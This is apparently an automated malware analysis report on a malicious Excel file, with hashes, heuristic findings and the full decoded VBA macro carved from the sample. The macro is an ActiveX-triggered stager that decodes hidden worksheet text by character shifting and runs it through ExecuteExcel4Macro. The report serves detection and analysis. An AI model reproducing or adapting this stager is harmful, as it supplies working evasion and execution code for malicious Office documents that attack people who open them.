Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 c3ecef72266f8454…

MALICIOUS

Office (OLE) / .XLS

57.0 KB Created: 2020-11-10 08:28:37 First seen: 2026-05-19
MD5: 169b540599841b2d7629224827f400ad SHA-1: 5c3f5709d2690f0892708156b48013c527a700d7 SHA-256: c3ecef72266f845421ef033a1ee8f13486655ee973d736b5bd748ac1516b2a39
80 Risk Score

Heuristics 2

  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event runs worksheet-decoded XLM formulas critical OLE_VBA_ACTIVEX_XLM_CELL_STAGER
    VBA code attached to an ActiveX/UserForm event reconstructs formula text from worksheet constants using Split/Replace/Mid or character shifting, then executes it through ExecuteExcel4Macro or Run. This is a high-confidence malware stager that hides XLM formula execution in sheet cells; it is not a document-parser CVE.
    Matched line in script
    ee = areacliento: Debug.Print Mid(ExecuteExcel4Macro("" & Replace(O, milow_s, report_rep)), 1, 2)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1521 bytes
SHA-256: 0c5964b70d3c2e1b33a9c60cf703da7d490e9b731d448436f59fd3a8a633ee86
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Questa_cartella_di_lavoro"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Foglio1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Control = "stampa_print, 13, 0, MSForms, MultiPage"
Private Sub stampa_print_Layout(ByVal Index As Long)
stpm = report_rep & report_rep: salva_stampa_0
End Sub
Function milow_s()
milow_s = "["
End Function
Sub salva_stampa_0()
i = 3: v = i - 2: Dim Z As Integer
For Each W In ActiveSheet.UsedRange.SpecialCells(xlCellTypeConstants): e = e & W: Next
For mk = i To Len(e) Step i
If (mk Mod 2) Then Z = -1 Else Z = v
oo = oo & chao_s(Z, Mid(e, mk, v)): Next
le = Split(oo, areacliento)
For Each O In le
ee = areacliento: Debug.Print Mid(ExecuteExcel4Macro("" & Replace(O, milow_s, report_rep)), 1, 2)
Next
a = report: ActiveWorkbook.Close Len(ee) - Len(milow_s)
End Sub
Function report_rep()
report_rep = "J"
End Function
Function chao_s(g As Integer, s As String)
chao_s = Chr(Asc(s) + g)
End Function
Function areacliento()
areacliento = "@"
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.